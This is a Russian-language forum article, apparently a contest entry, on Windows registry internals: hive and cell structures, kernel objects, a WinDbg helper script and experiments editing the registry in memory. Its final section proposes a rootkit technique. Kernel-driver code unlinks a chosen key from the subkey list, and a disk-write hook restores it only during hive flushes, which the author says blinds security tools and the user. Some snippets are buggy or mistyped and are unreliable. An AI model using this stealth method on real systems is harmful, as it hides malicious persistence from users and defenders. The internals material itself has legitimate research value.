Взаимодействие с реестром винды без API и некоторые идеи

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор soomerk
Статья написана для
Конкурса статей #10


Всем доброго времени дня и ночи. Сегодня мы будем взаимодействовать с реестром без использования API, и немного поиздеваемся над ним. Сразу говорю, что это моя первая статья, и прошу судить не строго.

Что из себя представляет реестр ОС Windows?
По сути, это иерархическая база различных данных. На диске хранится в виде файлов кустов(к примеру, C:\Windows\System32\config\SOFTWARE). В рантайме иногда хранится в пространстве ядра, но чаще всего хранится в адресном пространстве процесса "Registry", поэтому при работе с реестром придётся аттачиться к процессу. Начало списка кустов реестра хранится в CmpHiveListHead.

Давайте разберемся, что там "под капотом" в файле.
Состоит regf файл из блоков - так называемых bin, представленных структурой HBIN. Их размер чаще всего равен 0x1000, но вообще может иметь любой размер, выровненный по размеру страницы.

C: Скопировать в буфер обмена
Код:
//0x20 bytes (sizeof)
struct _HBIN
{
    ULONG Signature;                                                        //0x0
    ULONG FileOffset;                                                       //0x4
    ULONG Size;                                                             //0x8
    ULONG Reserved1[2];                                                     //0xc
    union _LARGE_INTEGER TimeStamp;                                         //0x14
    ULONG Spare;                                                            //0x1c
};

И на этом моменте запомните одну очень важную вещь - все поля по типу FileOffset, хранят в себе значение не от начала файла, а от первого блока - т.е. от 0x1000. Хранятся данные в "бинах" в виде наименьшей стандартной единице выделенной памяти - Cell'ов. Первые 4 байта содержат отрицательный размер выделенного места. Если размер изначально >= 0(т.е., после операции смены знака будет меньше 0), то "целл" является свободным(В дальнейшем под словом "целл" будет подразумеваться оффсет файла, содержащий само "тело" целла). После этих 4х байт идут уже основные данные - CELL_DATA. Их мы рассмотрим ниже. Целлы внутри бинов, как вы могли догадаться, расположены подряд.

Начинается regf файл с заголовка - так называемый BASE_BLOCK.

C: Скопировать в буфер обмена
Код:
//0x1000 bytes (sizeof)
struct _HBASE_BLOCK
{
    ULONG Signature;                                                        //0x0
    ULONG Sequence1;                                                        //0x4
    ULONG Sequence2;                                                        //0x8
    union _LARGE_INTEGER TimeStamp;                                         //0xc
    ULONG Major;                                                            //0x14
    ULONG Minor;                                                            //0x18
    ULONG Type;                                                             //0x1c
    ULONG Format;                                                           //0x20
    ULONG RootCell;                                                         //0x24
    ULONG Length;                                                           //0x28
    ULONG Cluster;                                                          //0x2c
    UCHAR FileName[64];                                                     //0x30
    struct _GUID RmId;                                                      //0x70
    struct _GUID LogId;                                                     //0x80
    ULONG Flags;                                                            //0x90
    struct _GUID TmId;                                                      //0x94
    ULONG GuidSignature;                                                    //0xa4
    ULONGLONG LastReorganizeTime;                                           //0xa8
    ULONG Reserved1[83];                                                    //0xb0
    ULONG CheckSum;                                                         //0x1fc
    ULONG Reserved2[882];                                                   //0x200
    struct _GUID ThawTmId;                                                  //0xfc8
    struct _GUID ThawRmId;                                                  //0xfd8
    struct _GUID ThawLogId;                                                 //0xfe8
    ULONG BootType;                                                         //0xff8
    ULONG BootRecover;                                                      //0xffc
};

Далее, начиная с оффсета 0x1000, начинается первый bin.

Глянем что там в рантайме!
Вся работа с реестром происходит в ntoskrnl, в функциях Cm и Hv. В роли объекта ключа реестра выступает структура CM_KEY_BODY с типом объекта CmKeyObjectType.
C: Скопировать в буфер обмена
Код:
//0x68 bytes (sizeof)
struct _CM_KEY_BODY
{
    ULONG Type;                                                             //0x0
    struct _CM_KEY_CONTROL_BLOCK* KeyControlBlock;                          //0x8
    struct _CM_NOTIFY_BLOCK* NotifyBlock;                                   //0x10
    VOID* ProcessID;                                                        //0x18
    struct _LIST_ENTRY KeyBodyList;                                         //0x20
    ULONG Flags:16;                                                         //0x30
    ULONG HandleTags:16;                                                    //0x30
    union _CM_TRANS_PTR Trans;                                              //0x38
    struct _GUID* KtmUow;                                                   //0x40
    struct _LIST_ENTRY ContextListHead;                                     //0x48
    VOID* EnumerationResumeContext;                                         //0x58
    ULONG RestrictedAccessMask;                                             //0x60
};

Самое "важное" поле в данной структуре - KeyControlBlock. В ней находятся все необходимые нам данные.
C: Скопировать в буфер обмена
Код:
//0x138 bytes (sizeof)
//Windows 11 23H2
struct _CM_KEY_CONTROL_BLOCK
{
    ULONGLONG RefCount;                                                     //0x0
    ULONG ExtFlags:16;                                                      //0x8
    ULONG Freed:1;                                                          //0x8
    ULONG Discarded:1;                                                      //0x8
    ULONG HiveUnloaded:1;                                                   //0x8
    ULONG Decommissioned:1;                                                 //0x8
    ULONG SpareExtFlag:1;                                                   //0x8
    ULONG TotalLevels:10;                                                   //0x8
    union
    {
        struct _CM_KEY_HASH KeyHash;                                        //0x10
        struct
        {
            struct _CM_PATH_HASH ConvKey;                                   //0x10
            struct _CM_KEY_HASH* NextHash;                                  //0x18
            struct _HHIVE* KeyHive;                                         //0x20
            ULONG KeyCell;                                                  //0x28
        };
    };
    struct _EX_PUSH_LOCK KcbPushlock;                                       //0x30
    union
    {
        struct _KTHREAD* Owner;                                             //0x38
        LONG SharedCount;                                                   //0x38
    };
    UCHAR DelayedDeref:1;                                                   //0x40
    UCHAR DelayedClose:1;                                                   //0x40
    UCHAR Parking:1;                                                        //0x40
    UCHAR LayerSemantics;                                                   //0x41
    SHORT LayerHeight;                                                      //0x42
    ULONG Spare1;                                                           //0x44
    struct _CM_KEY_CONTROL_BLOCK* ParentKcb;                                //0x48
    struct _CM_NAME_CONTROL_BLOCK* NameBlock;                               //0x50
    struct _CM_KEY_SECURITY_CACHE* CachedSecurity;                          //0x58
    struct _CHILD_LIST ValueList;                                           //0x60
    struct _CM_KEY_CONTROL_BLOCK* LinkTarget;                               //0x68
    union
    {
        struct _CM_INDEX_HINT_BLOCK* IndexHint;                             //0x70
        ULONG HashKey;                                                      //0x70
        ULONG SubKeyCount;                                                  //0x70
    };
    union
    {
        struct _LIST_ENTRY KeyBodyListHead;                                 //0x78
        struct _LIST_ENTRY ClonedListEntry;                                 //0x78
    };
    struct _CM_KEY_BODY* KeyBodyArray[4];                                   //0x88
    union _LARGE_INTEGER KcbLastWriteTime;                                  //0xa8
    USHORT KcbMaxNameLen;                                                   //0xb0
    USHORT KcbMaxValueNameLen;                                              //0xb2
    ULONG KcbMaxValueDataLen;                                               //0xb4
    ULONG KcbUserFlags:4;                                                   //0xb8
    ULONG KcbVirtControlFlags:4;                                            //0xb8
    ULONG KcbDebug:8;                                                       //0xb8
    ULONG Flags:16;                                                         //0xb8
    ULONG Spare3;                                                           //0xbc
    struct _CM_KCB_LAYER_INFO* LayerInfo;                                   //0xc0
    CHAR* RealKeyName;                                                      //0xc8
    struct _LIST_ENTRY KCBUoWListHead;                                      //0xd0
    union
    {
        struct _LIST_ENTRY DelayQueueEntry;                                 //0xe0
        volatile UCHAR* Stolen;                                             //0xe0
    };
    struct _CM_TRANS* TransKCBOwner;                                        //0xf0
    struct _CM_INTENT_LOCK KCBLock;                                         //0xf8
    struct _CM_INTENT_LOCK KeyLock;                                         //0x108
    struct _CHILD_LIST TransValueCache;                                     //0x118
    struct _CM_TRANS* TransValueListOwner;                                  //0x120
    union
    {
        struct _UNICODE_STRING* FullKCBName;                                //0x128
        struct
        {
            ULONGLONG FullKCBNameStale:1;                                   //0x128
            ULONGLONG Reserved:63;                                          //0x128
        };
    };
    ULONGLONG SequenceNumber;                                               //0x130
};

Такс.. KeyCell - это оффсет сырых данных нашего ключа. Вероятно, вы могли подумать, что для получения виртуального адреса, нам необходимо прибавить данное значения к базовому адресу файл маппинга. Но если мы откроем любую программу для просмотра регионов памяти, возникнут проблемы: с высокой долей вероятности, мы обнаружим что файл мапнут "по кускам"(если у вас не так - перезапустите ОС пару раз).

Ответ лежит в структуре куста реестра - HHIVE.
C: Скопировать в буфер обмена
Код:
//Windows 11 23H2
//0x600 bytes (sizeof)
struct _HHIVE
{
    ULONG Signature;                                                        //0x0
    struct _CELL_DATA* (*GetCellRoutine)(struct _HHIVE* arg1, ULONG arg2, struct _HV_GET_CELL_CONTEXT* arg3); //0x8
    VOID (*ReleaseCellRoutine)(struct _HHIVE* arg1, struct _HV_GET_CELL_CONTEXT* arg2); //0x10
    VOID* (*Allocate)(ULONG arg1, UCHAR arg2, ULONG arg3);                  //0x18
    VOID (*Free)(VOID* arg1, ULONG arg2);                                   //0x20
    LONG (*FileWrite)(struct _HHIVE* arg1, ULONG arg2, struct CMP_OFFSET_ARRAY* arg3, ULONG arg4, ULONG arg5); //0x28
    LONG (*FileRead)(struct _HHIVE* arg1, ULONG arg2, ULONG arg3, VOID* arg4, ULONG arg5); //0x30
    VOID* HiveLoadFailure;                                                  //0x38
    struct _HBASE_BLOCK* BaseBlock;                                         //0x40
    struct _CMSI_RW_LOCK FlusherLock;                                       //0x48
    struct _CMSI_RW_LOCK WriterLock;                                        //0x50
    struct _RTL_BITMAP DirtyVector;                                         //0x58
    ULONG DirtyCount;                                                       //0x68
    ULONG DirtyAlloc;                                                       //0x6c
    struct _RTL_BITMAP UnreconciledVector;                                  //0x70
    ULONG UnreconciledCount;                                                //0x80
    ULONG BaseBlockAlloc;                                                   //0x84
    ULONG Cluster;                                                          //0x88
    UCHAR Flat:1;                                                           //0x8c
    UCHAR ReadOnly:1;                                                       //0x8c
    UCHAR Reserved:6;                                                       //0x8c
    UCHAR DirtyFlag;                                                        //0x8d
    ULONG HvBinHeadersUse;                                                  //0x90
    ULONG HvFreeCellsUse;                                                   //0x94
    ULONG HvUsedCellsUse;                                                   //0x98
    ULONG CmUsedCellsUse;                                                   //0x9c
    ULONG HiveFlags;                                                        //0xa0
    ULONG CurrentLog;                                                       //0xa4
    ULONG CurrentLogSequence;                                               //0xa8
    ULONG CurrentLogMinimumSequence;                                        //0xac
    ULONG CurrentLogOffset;                                                 //0xb0
    ULONG MinimumLogSequence;                                               //0xb4
    ULONG LogFileSizeCap;                                                   //0xb8
    UCHAR LogDataPresent[2];                                                //0xbc
    UCHAR PrimaryFileValid;                                                 //0xbe
    UCHAR BaseBlockDirty;                                                   //0xbf
    union _LARGE_INTEGER LastLogSwapTime;                                   //0xc0
    union
    {
        struct
        {
            USHORT FirstLogFile:3;                                          //0xc8
            USHORT SecondLogFile:3;                                         //0xc8
            USHORT HeaderRecovered:1;                                       //0xc8
            USHORT LegacyRecoveryIndicated:1;                               //0xc8
            USHORT RecoveryInformationReserved:8;                           //0xc8
        };
        USHORT RecoveryInformation;                                         //0xc8
    };
    UCHAR LogEntriesRecovered[2];                                           //0xca
    ULONG RefreshCount;                                                     //0xcc
    ULONG StorageTypeCount;                                                 //0xd0
    ULONG Version;                                                          //0xd4
    struct _HVP_VIEW_MAP ViewMap;                                           //0xd8
    struct _DUAL Storage[2];                                                //0x110
};

Обратите внимание на названия последних двух полей. И они действительно играют важную роль в нашей текущей цели. Во ViewMap хранится адрес EPROCESS процесса реестра, в Storage находятся указатель на список свободных бинов, и самое главное, таблица "трансляции" целлов(DUAL::Map). К сведению, сама винда получает адрес целла с помощью функции HvpGetCellPaged(адрес которой вы можете заметить при дебаге в HHIVE, GetCellRoutine).

Принцип похож на таблицы трансляции адресов, за исключением того, что помимо адреса бина, мы получаем еще и отдельное смещение блока, и самый старший бит хранит в себе "тип" целла: Permanent(0) или Volatile(1). Следующие 10 бит хранят в себе индекс для первого уровня таблицы, еще 9 - второго уровня, и последние 12 бит - смещение.

CELL_DATA - сами данные, содержающиеся в целле. Идёт после первых четырех байт. В .pdb файлах представлена союзом структур. Начинаются они все с сигнатуры:

Спойлер:

_Сигнатуры:
CM_KEY_VALUE_SIG = "vk"
CM_KEY_NODE_SIG = "nk"
CM_FAST_LEAF_SIG = "lf"
CM_INDEX_LEAF_SIG = "li"
CM_HASH_LEAF_SIG = "lh"
CM_LINK_NODE_SIG = "lk"
CM_INDEX_ROOT_SIG = "ri"
CM_SECURITY_KEY_SIG = "sk"
CM_BIG_DATA_SIG = "db"

Половина из них идут под одну гребёнку - CM_INDEX/CM_KEY_INDEX.

Вернёмся еще раньше - к структуре CM_KEY_CONTROL_BLOCK. Для перечисления значений ключа мы уже на данном этапе можем использовать поле ValueList. В нём хранится количество значений, и целл, который хранит в себе список целлов значений. Давайте двигаться дальше. Получив адрес целла из KeyCell в KCB, мы попадём в структуру CM_KEY_NODE, играющую важнейшую роль.

C: Скопировать в буфер обмена
Код:
//0x50 bytes (sizeof)
struct _CM_KEY_NODE
{
    USHORT Signature;                                                       //0x0
    USHORT Flags;                                                           //0x2
    union _LARGE_INTEGER LastWriteTime;                                     //0x4
    UCHAR AccessBits;                                                       //0xc
    UCHAR LayerSemantics:2;                                                 //0xd
    UCHAR Spare1:5;                                                         //0xd
    UCHAR InheritClass:1;                                                   //0xd
    USHORT Spare2;                                                          //0xe
    ULONG Parent;                                                           //0x10
    ULONG SubKeyCounts[2];                                                  //0x14
    union
    {
        struct
        {
            ULONG SubKeyLists[2];                                           //0x1c
            struct _CHILD_LIST ValueList;                                   //0x24
        };
        struct _CM_KEY_REFERENCE ChildHiveReference;                        //0x1c
    };
    ULONG Security;                                                         //0x2c
    ULONG Class;                                                            //0x30
    ULONG MaxNameLen:16;                                                    //0x34
    ULONG UserFlags:4;                                                      //0x34
    ULONG VirtControlFlags:4;                                               //0x34
    ULONG Debug:8;                                                          //0x34
    ULONG MaxClassLen;                                                      //0x38
    ULONG MaxValueNameLen;                                                  //0x3c
    ULONG MaxValueDataLen;                                                  //0x40
    ULONG WorkVar;                                                          //0x44
    USHORT NameLength;                                                      //0x48
    USHORT ClassLength;                                                     //0x4a
    WCHAR Name[1];                                                          //0x4c
};

Тут содержится вся информация о ключе реестра. И обратите внимание на два поля - SubKeyLists и, прежне знакомый, ValueList. SubKeyLists, как вы могли понять из выше полученной информации, содержит в себе целл, который содержит в себе список целлов дочерних ключей. Способен собою этот список представлять 4 структуры: ri, li, lh и lf.

Начинаются они все с двух полей - ожидаемо, сигнатуры(рассмотрены выше) и количества элементов. Далее идёт массив вариативного размера, где и начинаются различия:

li - целлы с nk, непосредственно содержащие структуру дочернего ключа CM_KEY_NODE
ri - целлы, содержащие в себе целлы li
lh - принцип как у li. Помимо целла, в элементе массива содержится хеш имени ключа.
lf - принцип как у lh. Помимо целла, в элементе массива содержатся первые 4 символа имени ключа(т.е. вместо хеша).

C: Скопировать в буфер обмена
Код:
typedef struct _CM_INDEX {
    HCELL_INDEX Cell;
    union {
        UCHAR       NameHint[4];    //lf
        ULONG       HashKey;        //lh
    };
} CM_INDEX, *PCM_INDEX;

typedef struct _CM_KEY_FAST_INDEX {    //lf и lh
    USHORT      Signature;            
    USHORT      Count;
    CM_INDEX    List[1];                  
} CM_KEY_FAST_INDEX, *PCM_KEY_FAST_INDEX;

typedef struct _CM_KEY_INDEX {  // li и ri
    USHORT      Signature;            
    USHORT      Count;
    HCELL_INDEX List[1];              
} CM_KEY_INDEX, *PCM_KEY_INDEX;

Но обратите внимание: SubKeyLists - это массив, из двух элементов. Тут всё просто - это разделение, как и ранее, на Permanent и Volatile ключи.

Что там с значениями ключей реестра? Целл из ValueList, сошлёт нас к сигнатуре "vk", соответствующей структуре CM_KEY_VALUE.

C: Скопировать в буфер обмена
Код:
//0x18 bytes (sizeof)
struct _CM_KEY_VALUE
{
    USHORT Signature;                                                       //0x0
    USHORT NameLength;                                                      //0x2
    ULONG DataLength;                                                       //0x4
    ULONG Data;                                                             //0x8
    ULONG Type;                                                             //0xc
    USHORT Flags;                                                           //0x10
    USHORT Spare;                                                           //0x12
    WCHAR Name[1];                                                          //0x14
};

Type мы можем глянуть в доке майкрософт, в разделе "Типы значений реестра". Data - целл, содержащий сырое значение... значения.

На данном этапе предлагаю притормозить. С базовой теорией - всё.

Практика.
Открываем WinDBG, виртуалку, и погнали!

Для начала предлагаю прописать dp nt!CmpHiveListHead для получения первого куста реестра. Получаем адрес ffffa08e7da4f640(указывает на CMHIVE.HiveList). Так как CMHIVE/HHIVE всегда выравнены по размеру страницы, обнулив младшие три байта пропишем: dt nt!CMHIVE ffffa08e7da4f000 -l HiveList.Flink. Перед вами все кусты реестра!

Для примера возьму куст SYSTEM, в связи с тем, что он находится в пространстве ядра(для простоты). Для примера, я взаранее создам значение в корневом ключе. Чтобы получить корневой ключ, читаем поле RootKcb, либо RootCell из HBASE_BLOCK и получаем наш целл(не забывайте про 4 байта размера, мы их пропускаем):

JavaScript: Скопировать в буфер обмена
Код:
//Простенький скрипт для windbg:
"use strict";
function CellAddress(HiveAddress, Cell) {
    let Hive = host.createPointerObject(HiveAddress, "nt", "_HHIVE*");
    let Map = Hive.Storage[(Cell >> 31) & 1].Map;
    let Table = Map.Directory[(Cell >> 21) & 0x3FF];
    let Entry = host.createPointerObject(Table.address.add(((Cell >> 12) & 0x1FF) * host.getModuleType("nt", "_HMAP_ENTRY").size), "nt", "_HMAP_ENTRY*");
    let BinAddress = Entry.PermanentBinAddress.bitwiseAnd(~0x0f);
    return BinAddress.add(Entry.BlockOffset).add(Cell & 0xFFF);
}
function invokeScript(Hive, Cell) {
    host.diagnostics.debugLog(`${CellAddress(Hive, Cell)}\n`);
}
function initializeScript()
{
    return [new host.apiVersionSupport(1, 9), new host.functionAlias(CellAddress, "getcell")];
}
//Для использования пропишите:
//.scriptload script_path
//@$getcell(адрес_куста, целл_индекс)
//Если вы работаете с кустом реестра, у которого ViewMap.ProcessTuple.ProcessReference != 0, необходим аттач к процессу "Registry"

Целл: 0x20
Куст: 0xffffa08e7da62000
Адрес целла: 0xffffa08e7f291020
Пропустив размер целла(4 байта): 0xffffa08e7f291024
Прописав команду
db 0xffffa08e7f291024
видим "nk" сигнатуру: смотрим выше - это структура CM_KEY_NODE.

Давайте глянем что нам родит dt nt!_CM_KEY_NODE 0xffffa08e7f291024
Pasted image 20250130002702.png



Смотрите на Name, - это на самом деле анси строка. Подглядев в db увидим имя корня - ROOT(стандартное имя корня куста реестра):
Pasted image 20250130002607.png



Давайте перечислим значения и дочерние ключи. Для этого, получаем целл списка значений и целл списка подключей(помним про Permanent и Volatile, рассмотрим лишь первое). Для начала значения:
Pasted image 20250130004132.png


Count == 1, в целле списка хранится массив целлов vk, перейдя по которым мы получим структуру CM_KEY_VALUE:
Pasted image 20250130004504.png


Сигнатура - корректна, значит всё ок. Имя ключа - test(смотреть на db), давайте получим данные, хранящиеся в Data. Type == 1 соответствует REG_SZ.

Pasted image 20250130004741.png



Записанные мною через regedit данные, мы видим перед своими глазами.
А теперь давайте... Перезапишем их.

Pasted image 20250130005135.png


Pasted image 20250130005224.png



Более чем получилось.

Немного экспериментов.
Перезапишем целл Data на 0xFFFFFFFF. Ключ реестра - пропал из регедита. Если попытаемся провернуть те же финты с одним из целлов в ValueList(именно в массиве) - получаем Critical Error в дебагере(увы, без экрана счастья). Хорошо, а если попробовать создать несколько значений реестра, и после перезаписи одного из целлов значения в 0xFFFFFFFF, сделать декремент количества значений?

Создам три ключа:
Pasted image 20250130010736.png



Кстати, не забывайте про ValueList в KCB. Насчет идеи выше - БСОД. Еще занятно, что реестр самовосстанавливается(однако когда тестировал на основной машине он какого-то хрена решил не восстанавливаться, так что не рискуйте...). А что если сделать "удаление" из массива целлов значений?

Pasted image 20250130013302.png



В данном случае, я тупо "вытолкнул" два ключа реестра вместо перезаписи в 0xFFFFFFFF. При этом, целлы значений не деаллоцируются, т.е. в дальнейшем проделав обратные операции(вернём целлы в массив), всё заработает.
Проделаем то же самое и с дочерними ключами. С ними будет чуть полегче - не надо делать двойную работу с KCB.

Pasted image 20250130013841.png



Посмотрим на целлы со списками подключей(первое - Permanent, второе - Volatile):
Pasted image 20250130015022.png


Это lh. Помните структуру _CM_KEY_FAST_INDEX?
Painted.png

Pasted image 20250130212358.png


Так как это массив вариативного размера, легче будет без структурки.
Перейдём по первому целлу в списке(зелёненький), и увидим следующее.

Pasted image 20250130212544.png



Что за зверьё такое, sk этот ваш?

C: Скопировать в буфер обмена
Код:
struct _CM_KEY_SECURITY
{
    USHORT Signature;                                                       //0x0
    USHORT Reserved;                                                        //0x2
    ULONG Flink;                                                            //0x4
    ULONG Blink;                                                            //0x8
    ULONG ReferenceCount;                                                   //0xc
    ULONG DescriptorLength;                                                 //0x10
    struct _SECURITY_DESCRIPTOR_RELATIVE Descriptor;                        //0x14
};

struct _SECURITY_DESCRIPTOR_RELATIVE
{
    UCHAR Revision;                                                         //0x0
    UCHAR Sbz1;                                                             //0x1
    USHORT Control;                                                         //0x2
    ULONG Owner;                                                            //0x4
    ULONG Group;                                                            //0x8
    ULONG Sacl;                                                             //0xc
    ULONG Dacl;                                                             //0x10
};

Попробуем получить второй ключ.
Pasted image 20250130220739.png


Получилось. Кстати, как вы могли заметить, ключи в списке отсортированы в алфавитном порядке, что немаловажно.
И чуть не забыл - получение KCB. Сделать это можно через _CMHIVE::KcbCacheTable, представляющей собой хеш-таблицу.
Насчёт хеш-функции. В целом, есть две функции CmpHash*, для двух видов строк соответственно. Их реверс проблем не составит.

Давайте подведём некоторые полученные из проведённых опытов знания:
Мы можем скрыть значение ключа перезаписав Data в 0xFFFFFFFF.
Для частичного удаления значения или дочернего ключа с сохранением выделенного под них места и их содержимого - убираем их из ValueList или SubKeyLists.

Пишем
А теперь давайте думать. Я предлагаю сделать следующее:

1. Каким-либо способом хукнуть запись файла(Получить хендл файла можно из _CMHIVE::FileHandles[0], прошу что-то менее банальное чем NTFS MajorFunctions)

2. Изменить реестр выше описанными методами для сокрытия "неприятных" ключей или значений.

3. При попытке записи на диск, будем проходиться по нашим ключам/значениям реестра, проверять, попадают ли текущие целлы(вы ведь помните, что это по сути просто смещение от 0x1000 после начала файла) на диск при данной операции записи основываясь на FilePointer, и возвращать данные в исходное состояние. После записи(условно CompletionRoutine) - снова удаляем ключи и значения из памяти.



Если вы ленивы(как и я), предлагаю получать родительский ключ некоторыми средствами винды в лице ObReferenceObject*(в данном случае - ByName). Также прошу не бросать помидоры за стиль кода. Попробуем скрыть "TestKey" в корне.

Для начала получим _CM_KEY_NODE и подключимся к процессу реестра:
C: Скопировать в буфер обмена
Код:
    UNICODE_STRING key_name;
    InitUnicodeString(&key_name, L"\\REGISTRY\\MACHINE\\SOFTWARE");
    _CM_KEY_BODY* key_object = 0;
    ObReferenceObjectByName(&key_name, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, 0, *CmKeyObjectType, KernelMode, 0, (PVOID*)&key_object);
    _CM_KEY_CONTROL_BLOCK* kcb = key_object->KeyControlBlock;
    _CMHIVE* hive = kcb->KeyHive;
    _KAPC_STATE* apc_state = ExAllocatePoolWithTag(NonPagedPool, sizeof(KAPC_STATE), 'soom');
    KeStackAttackProcess((_KPROCESS*)(hive->ViewMap.ProcessTuple->ProcessReference),  apc_state);
    _CM_KEY_NODE* key_node = ( _CM_KEY_NODE*)GetCellData(kcb->KeyCell);

Давайте найдём наш ключ. Я не буду использовать способы быстрого нахождения, я даже не буду сейчас отсеивать различные варианты списка(lh, lf, ri, li). Просто пройдусь по массиву:
C: Скопировать в буфер обмена
Код:
    _CM_KEY_INDEX* key_leafs = ( _CM_KEY_INDEX*)GetCellData(key_node->SubKeyLists[0]);
    for(uint8_t i = 0; i < key_leafs->Count; i++) {
        _CM_KEY_NODE* key_node = ( _CM_KEY_NODE*)GetCellData(key_leafs->List[i]);
        if(key_node->Signature != 0x6b6e ) continue;
         if(!strncmp((char*)(key_node->Name), "TestKey", sizeof("TestKey"))) {
             int after_key_no = key_leafs->Count - i - 1;
             test_cell = key_leafs->List[i];
             memcpy(&key_leafs->List[i], &key_leafs->List[i+1], after_key_no * sizeof(_CM_INDEX));
             key_leafs->Count --;
             key_node->SubKeyCounts[0] --;
             break;
         }
    }


Мы успешно удалили ключ. Не забудьте деаттачнуться от процесса. Также советую поэкспериментировать с kcb. Перед всеми манипуляциями с реестром необходимо сбросить WP бит в CR0, данное действие выполняет и сама винда.
Теперь давайте попробуем написать тестовый код для восстановления реестра при записи на диск(на данном этапе можно не париться с kcb и прочим, так как по сути на диск оно пишется как тупо файл маппинг, IRP_PAGING_IO).
Опять же, способ хука остаётся за вами. Так как работаем с определенным файлом куста на диске, можете попробовать потанцевать с FILE_OBJECT, может что и получиться.

За "внешние" данные в коде будет взята информация об операции записи в файл: размер(write_size) и байт-оффсет(byte_offset). Не буду повторять код на получение _CM_KEY_NODE. Необходимо чтобы программа помнила про целлы, которые удаляла. Также стоит помнить, что все ключи идут в алфавитном порядке. Для определения этого порядка буду использовать strcmp(что не очень хорошо).

C: Скопировать в буфер обмена
Код:
if(key_node->SubKeyLists[0] > byte_offset && key_node->SubKeyLists[0] < (byte_offset + write_size)) {
        _CM_KEY_INDEX* key_leafs = ( _CM_KEY_INDEX*)GetCellData(key_node->SubKeyLists[0]);
        for(uint8_t i = 0; i < key_leafs->Count; i++) {
            _CM_KEY_NODE* key_node = ( _CM_KEY_NODE*)GetCellData(key_leafs->List[i]);
             if(key_node->Signature != 0x6b6e ) continue;
             if(strcmp((char*)(key_node->Name), "TestKey", sizeof("TestKey")) < 0) {
                 int after_key_no = key_leafs->Count - i - 1;
                 reverse_memcpy(&key_leafs->List[i+1], &key_leafs->List[i], after_key_no * sizeof(_CM_INDEX));
                 key_leafs->List[i] = test_cell;
                 key_leafs->Count ++;
                 key_node->SubKeyCounts[0] ++;
                 break;
             }
        }
    }

Те же действия можно проделать и со значениями.
Стоит понимать, что при проделывании всех выше сказанных операций, останутся слепы любые средства защиты, а самое главное - сам юзер.
В целом, на данном этапе можно закончить статью. Можно ещё со многим поэкспериментировать - это я оставляю на вас. Благодарю за прочтение!
 
Сверху Снизу